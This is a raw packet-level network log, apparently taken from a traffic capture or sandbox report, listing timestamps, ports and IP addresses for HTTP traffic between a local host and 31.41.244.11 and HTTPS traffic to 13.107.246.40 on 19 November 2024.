Nov 19, 2024 22:07:08.518114090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518157959 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518244982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518261909 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518275976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518291950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518304110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518311024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518326998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518337011 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518346071 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518372059 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518399954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518414974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518420935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518433094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518450022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518464088 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518465042 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518481970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518505096 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518524885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518528938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518563032 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518606901 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518691063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518707991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518724918 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518739939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518769026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518774033 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518788099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518793106 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518804073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518830061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518836975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518857002 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518870115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518871069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518888950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518893957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518908024 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518923044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.518935919 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.518959999 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519208908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519226074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519239902 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519293070 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519293070 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519355059 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519371033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519386053 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519402027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519407988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519452095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519490004 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519494057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519510984 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519526005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519541979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519556999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519560099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519573927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519579887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519593000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519608974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519622087 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519650936 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519670010 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519687891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519701958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519731045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519753933 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519834995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519851923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519867897 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.519896984 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519928932 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.519963980 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520023108 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520136118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520150900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520167112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520184040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520196915 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520205975 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520224094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520226955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520241976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520257950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520273924 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520273924 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520289898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520309925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520314932 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520325899 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520337105 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520344973 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520382881 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520400047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520459890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520474911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520490885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520522118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520551920 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520615101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520631075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520646095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520663023 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520678043 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520678043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520694971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520720005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520749092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520756960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520768881 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520773888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520792961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520812988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520849943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.520932913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520947933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520965099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520981073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.520996094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521003008 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521013021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521030903 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521044970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521053076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521063089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521106005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521135092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521171093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521192074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521208048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521224022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521229029 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521264076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521297932 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521316051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521332979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521349907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521364927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521380901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521389008 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521398067 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521414042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521426916 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521430969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521447897 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521449089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521465063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521481037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521497011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521501064 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521512032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521528959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521545887 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521549940 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521569014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521585941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521600962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521601915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521617889 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521621943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521636009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521652937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521667004 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521682024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521683931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521702051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521718025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521730900 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521734953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521750927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521752119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521768093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521780014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521785021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521804094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521816969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521831036 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521836042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521853924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521864891 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521868944 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521886110 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521903038 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521917105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521918058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521935940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521948099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.521954060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521970034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.521986008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522001982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522017002 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522031069 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522032976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522049904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522064924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522080898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522080898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522099018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522102118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522115946 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522130013 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522131920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522150040 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522165060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522181988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522182941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522201061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522211075 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522217035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522236109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522252083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522267103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522267103 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522284031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522289991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522301912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522315979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522331953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522346973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522349119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522365093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522382021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522389889 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522398949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522414923 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522416115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522432089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522449017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522463083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522471905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522480011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522497892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522511959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522527933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522528887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522545099 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522552013 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522561073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522579908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522593021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522598028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522613049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522629976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522644043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522648096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522664070 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522680998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522695065 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522699118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522712946 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.522717953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.522758961 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.535295963 CET	443	49869	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.535460949 CET	443	49869	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.535556078 CET	49869	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.535614967 CET	49869	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.535614967 CET	49869	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.535645962 CET	443	49869	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.535670042 CET	443	49869	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.538844109 CET	49875	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.538885117 CET	443	49875	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.538954973 CET	49875	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.539141893 CET	49875	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.539158106 CET	443	49875	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.540039062 CET	443	49871	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.540991068 CET	443	49871	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.541052103 CET	49871	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.541088104 CET	49871	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.541089058 CET	49871	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.541102886 CET	443	49871	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.541122913 CET	443	49871	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.545809031 CET	49876	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.545866966 CET	443	49876	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.545938969 CET	49876	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.546353102 CET	49876	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.546382904 CET	443	49876	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.564255953 CET	443	49874	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.565457106 CET	49874	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.565499067 CET	443	49874	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.565769911 CET	49874	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.565784931 CET	443	49874	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.572637081 CET	443	49872	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.573021889 CET	443	49872	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.573146105 CET	443	49872	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.573195934 CET	49872	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.573250055 CET	49872	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.573349953 CET	49872	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.573375940 CET	443	49872	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.573407888 CET	49872	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.573421955 CET	443	49872	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.576144934 CET	49877	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.576174974 CET	443	49877	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.576245070 CET	49877	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.576426029 CET	49877	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.576436043 CET	443	49877	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.582602024 CET	443	49873	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.583026886 CET	443	49873	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.583091021 CET	49873	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.583132029 CET	49873	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.583144903 CET	443	49873	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.583157063 CET	49873	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.583162069 CET	443	49873	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.585102081 CET	49878	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.585166931 CET	443	49878	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.585258961 CET	49878	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.585441113 CET	49878	443	192.168.2.4	13.107.246.40
Nov 19, 2024 22:07:08.585474014 CET	443	49878	13.107.246.40	192.168.2.4
Nov 19, 2024 22:07:08.713217020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.713325977 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.713402033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.713454962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.713474989 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.713495016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.713532925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.713553905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.713579893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.713583946 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714066982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714104891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714126110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.714138985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714158058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.714178085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714215994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714236975 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.714251041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714272976 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.714288950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714328051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714344025 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.714364052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.714391947 CET	49864	80	192.168.2.4	31.41.244.11
